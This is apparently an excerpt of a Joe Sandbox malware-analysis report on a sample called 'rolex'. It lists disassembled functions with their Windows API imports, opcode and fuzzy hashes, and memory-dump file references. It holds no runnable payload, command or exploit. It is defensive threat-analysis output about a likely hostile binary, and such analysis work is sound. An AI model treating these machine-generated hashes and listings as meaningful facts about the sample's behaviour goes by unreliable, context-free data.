Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5eda2cbf1ce6837a88d649c872729f31e823bc49095d59e5e9b193bf7b9166cd
Instruction ID: 13f293ed126499a39ad428f0c202738430c22c4c44cc49c465dcd2d21d12b0c0
Opcode Fuzzy Hash: 5eda2cbf1ce6837a88d649c872729f31e823bc49095d59e5e9b193bf7b9166cd
Instruction Fuzzy Hash: BF11B121A1A64282FB60AB29E840279E760FB44BB4F950735DA7D062F4DF3CE982D310

Function 00007FF7AB49255C Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB4AA4AC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AB4AA504
Part of subcall function 00007FF7AB4AA4AC: SetDlgItemTextW.USER32 ref: 00007FF7AB4AA573
Part of subcall function 00007FF7AB4AA4AC: GetWindowRect.USER32 ref: 00007FF7AB4AA5AD
Part of subcall function 00007FF7AB4AA4AC: GetClientRect.USER32 ref: 00007FF7AB4AA5BB

GetDlgItem.USER32 ref: 00007FF7AB4925AC
SetDlgItemTextW.USER32 ref: 00007FF7AB4925C8

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Item$RectText$ClientWindowswprintf
String ID:
API String ID: 402765569-0
Opcode ID: ad94589889145b650e3461eb84003e845283bd92425fc2a9221c8100a4e27e71
Instruction ID: bb2dc2541cae2303fcb44893a636d273d66093d033e2b16a910fe2d07ca9fe6f
Opcode Fuzzy Hash: ad94589889145b650e3461eb84003e845283bd92425fc2a9221c8100a4e27e71
Instruction Fuzzy Hash: 95011221A0F38A41FE55776AA454679D7519F85B54F8A4035E84D062B9EE2CF884C320

Function 00007FF7AB4AEB58 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7AB4AEBAD,?,?,?,?,00007FF7AB4A5752,?,?,?,00007FF7AB4A56DE), ref: 00007FF7AB4AEB5C
GetProcessAffinityMask.KERNEL32 ref: 00007FF7AB4AEB6F

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 444071b75e142e51b736d9fa504759652bc9944b894df1f8101a797a07211085
Instruction ID: 0817adcb32f65533a62112da8601f2363bfb4191d1c529f14afd29576dd038e8
Opcode Fuzzy Hash: 444071b75e142e51b736d9fa504759652bc9944b894df1f8101a797a07211085
Instruction Fuzzy Hash: 54E02B61F1654642DF49EF5DC4445F9B392BFC8B40FC58035D60B83634DE2CE1498B00

Function 00007FF7AB4C21D0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AB4C2200

Part of subcall function 00007FF7AB4C2F7C: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7AB4C2F85

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AB4C2206

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: ac554a43d54612151bc7e480101717375080be3004ee5b366f50feb51e7139dd
Instruction ID: ddfdfd7ec0acdf5f2bccbdefdea384879df63144bec84b97b47061338c9d4d89
Opcode Fuzzy Hash: ac554a43d54612151bc7e480101717375080be3004ee5b366f50feb51e7139dd
Instruction Fuzzy Hash: 98E01240E0F20B41FD59367E18251B481904F1BF70EDF2730DE3E046F6AD6CA5919130

Function 00007FF7AB4CD90C Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF7AB4CD922
GetLastError.KERNEL32 ref: 00007FF7AB4CD934

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: 7829e02dcbd74b51c5e196648e5aad52518f68633834b7095f7e5950a32ae739
Instruction ID: c3b773510616ae4bd7cefc2f4864232ba70644693c0772add03ecee7fb40b467
Opcode Fuzzy Hash: 7829e02dcbd74b51c5e196648e5aad52518f68633834b7095f7e5950a32ae739
Instruction Fuzzy Hash: 50E08C60F0BA0382FF48BFFA98051B8E3E05F95F54BC60434C90D86272EE2CA4B18620

Function 00007FF7AB4933E4 Relevance: 1.8, APIs: 1, Instructions: 328COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49388C

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: db0f75601c8d953953658c1d14be6529ec917dbd1ad2d5887d518296e9f1c024
Instruction ID: 80c131fae62b9bbc2c30260db6abb84e7fddc9b0d11c5df2fb78cf499cdc00de
Opcode Fuzzy Hash: db0f75601c8d953953658c1d14be6529ec917dbd1ad2d5887d518296e9f1c024
Instruction Fuzzy Hash: F6D1A562B0A68156EF68EB3D95446B9F7E1FB06B84F864035DB5D477B1CF38E8608320

Function 00007FF7AB4BCAD0 Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BCDE4

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: e2460866a0684328410107459c6d972396d79668fc4668c3375d4f16519848c4
Instruction ID: 790406e4bb7baaedcb223bf09e447acbee1dd26c4a6f6d0c525cc48f4a19a193
Opcode Fuzzy Hash: e2460866a0684328410107459c6d972396d79668fc4668c3375d4f16519848c4
Instruction Fuzzy Hash: E4916322F1965288FB00EBB8D8841EC6B75AF01768FD50635DA2D56AFADF78D485C320

Function 00007FF7AB4B1870 Relevance: 1.7, APIs: 1, Instructions: 172COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB4AE948: ReleaseSemaphore.KERNEL32 ref: 00007FF7AB4AE974
Part of subcall function 00007FF7AB4AE948: FindCloseChangeNotification.KERNELBASE ref: 00007FF7AB4AE993
Part of subcall function 00007FF7AB4AE948: DeleteCriticalSection.KERNEL32 ref: 00007FF7AB4AE9AA
Part of subcall function 00007FF7AB4AE948: CloseHandle.KERNEL32 ref: 00007FF7AB4AE9B7

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4B1ACB

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Close$ChangeCriticalDeleteFindHandleNotificationReleaseSectionSemaphore_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1624603282-0
Opcode ID: 84549558681af96b4525e1e1ffe2288fe9035f316ab4ad669e4cf30d3a3af5a1
Instruction ID: 0bab7cfb7212697f4bcfc1386ced82f284cee259d4a85492d6a3207960681aa7
Opcode Fuzzy Hash: 84549558681af96b4525e1e1ffe2288fe9035f316ab4ad669e4cf30d3a3af5a1
Instruction Fuzzy Hash: 4A61AF62B26B8592EE08EFA9D5540BCB365FF45F90B954136D72D07AF1CF28E4A18310

Function 00007FF7AB49EC9C Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49EEB8

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 69a943e656ee331f1661201cfe822fb8f69a168c4299475660200162fa714270
Instruction ID: 938770db6c0d88f4d2eefd0505cbaae4aeff63328881922134f753ce45626c05
Opcode Fuzzy Hash: 69a943e656ee331f1661201cfe822fb8f69a168c4299475660200162fa714270
Instruction Fuzzy Hash: 6551C362A4964250FE20BB29D4447B9A751FB86BC4F850136EF4D077B6DE3DE489C320

Function 00007FF7AB49E7A8 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB4A3EC8: FindClose.KERNELBASE(?,?,00000000,00007FF7AB4B0811), ref: 00007FF7AB4A3EFD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49E993

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1011579015-0
Opcode ID: e982e273b1865209a75a3cfd535ad9023e3388265a11ab7418cbf5dec2d39955
Instruction ID: 47430ec3da844fe25e11ffbf84de4f24944697165017c2620b7e002ea08cd04d
Opcode Fuzzy Hash: e982e273b1865209a75a3cfd535ad9023e3388265a11ab7418cbf5dec2d39955
Instruction Fuzzy Hash: 6F514F22A0A68681FE60EF7DD48576DA361FF85B84F850136EA8D077B5DF2CE446C720

Function 00007FF7AB4A1794 Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A187D

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 61fec30c4ba775886d5a885ca6c3d9e3f01b60c7a9016415a9e671651ca41277
Instruction ID: 29110cb5556f536dd773def5129e9b6e2e9d29bd19749300bff3843254951f84
Opcode Fuzzy Hash: 61fec30c4ba775886d5a885ca6c3d9e3f01b60c7a9016415a9e671651ca41277
Instruction Fuzzy Hash: 35410862B19B8142EE14AA1BA640379E251FB45FC0F858539EE5C07F7ADF7CD4518300

Function 00007FF7AB4A2F58 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A30C8

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 71211bdb8fcfb718bc8c1f80de60d6f389c440e1fadeaa63cd7f355b18b082f6
Instruction ID: 002c6342c31a6c628440f945221087c86560333edde54bbb012947474e430aa5
Opcode Fuzzy Hash: 71211bdb8fcfb718bc8c1f80de60d6f389c440e1fadeaa63cd7f355b18b082f6
Instruction Fuzzy Hash: 14410662A0EB0181EE10AB2DE545379B3A0FB85BD8F860138EA4D077B9DF3DE4408320

Function 00007FF7AB4CBDF8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7AB4CBE20

Part of subcall function 00007FF7AB4CBFB0: GetModuleHandleExW.KERNEL32 ref: 00007FF7AB4CBFD0
Part of subcall function 00007FF7AB4CBFB0: GetProcAddress.KERNEL32 ref: 00007FF7AB4CBFE6
Part of subcall function 00007FF7AB4CBFB0: FreeLibrary.KERNEL32 ref: 00007FF7AB4CC00B

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 5b4d6432c9ab27f48bf344f41163fa66ca8822e5b5ed34cf2c0174bd429b5c6d
Instruction ID: 231f174817c0112b4fc3ecc15d316dd2bfbd7d70951f3dd01396011205c4e2d6
Opcode Fuzzy Hash: 5b4d6432c9ab27f48bf344f41163fa66ca8822e5b5ed34cf2c0174bd429b5c6d
Instruction Fuzzy Hash: 85410522E1B60A92FB54FB2E9850178A761AF56F40FC64436DA0D476B1CF3EF841C760

Function 00007FF7AB49129C Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AB491396

Part of subcall function 00007FF7AB491F80: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7AB491F89

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Concurrency::cancel_current_taskstd::bad_alloc::bad_alloc
String ID:
API String ID: 680105476-0
Opcode ID: fb4569e23469dfa57eec0626174c03e5963d7f6e26c3e18aa513be619ff1198f
Instruction ID: 6838046bfd2d55a163c5756ad2f4338b6870b0f1051bf7a1729aea75d23603f6
Opcode Fuzzy Hash: fb4569e23469dfa57eec0626174c03e5963d7f6e26c3e18aa513be619ff1198f
Instruction Fuzzy Hash: D721A322A0A25195FA24AEB9A400679A260BB05BF0F990730EE7E07BF1DE7CE0519310

Function 00007FF7AB4D124C Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AB4D1280

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9dd5a9e84c18447e56e2265fa04046f11d37b96b7f5b774ce3305aa6458b3f00
Instruction ID: 5256a6de1b5eae740a3b8bb4126b141bec2270f3c3082de5c9c1be503d78e4d3
Opcode Fuzzy Hash: 9dd5a9e84c18447e56e2265fa04046f11d37b96b7f5b774ce3305aa6458b3f00
Instruction Fuzzy Hash: 27118132A0F6428AF750AF589480579F3A5FB40784FD70535EA4D976B6DF2DE4009721

Function 00007FF7AB4BFC68 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB4BF0A4: GetDlgItem.USER32 ref: 00007FF7AB4BF0E3
Part of subcall function 00007FF7AB4BF0A4: ShowWindow.USER32 ref: 00007FF7AB4BF109
Part of subcall function 00007FF7AB4BF0A4: IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF11E
Part of subcall function 00007FF7AB4BF0A4: IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF136
Part of subcall function 00007FF7AB4BF0A4: IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF157
Part of subcall function 00007FF7AB4BF0A4: IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF173
Part of subcall function 00007FF7AB4BF0A4: IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF1B6
Part of subcall function 00007FF7AB4BF0A4: IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF1D4
Part of subcall function 00007FF7AB4BF0A4: IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF1E8
Part of subcall function 00007FF7AB4BF0A4: IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF212
Part of subcall function 00007FF7AB4BF0A4: IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF22A

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BFD03

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: ButtonChecked$ItemShowWindow_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 4003826521-0
Opcode ID: 0ecee51bcaebc13f66a433cccdbba23f80d9542112960a9b3272f635afdf41c4
Instruction ID: ef0a30c58d7299a0e914950608e0c091a9997c94ec7243ab49d1142dc1ab8a61
Opcode Fuzzy Hash: 0ecee51bcaebc13f66a433cccdbba23f80d9542112960a9b3272f635afdf41c4
Instruction Fuzzy Hash: B301C862A1668542FD10B77CD44537DA321FF8AB94F910331EBAD466F6DF2CE0808714

Function 00007FF7AB493AD8 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB493B6C

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

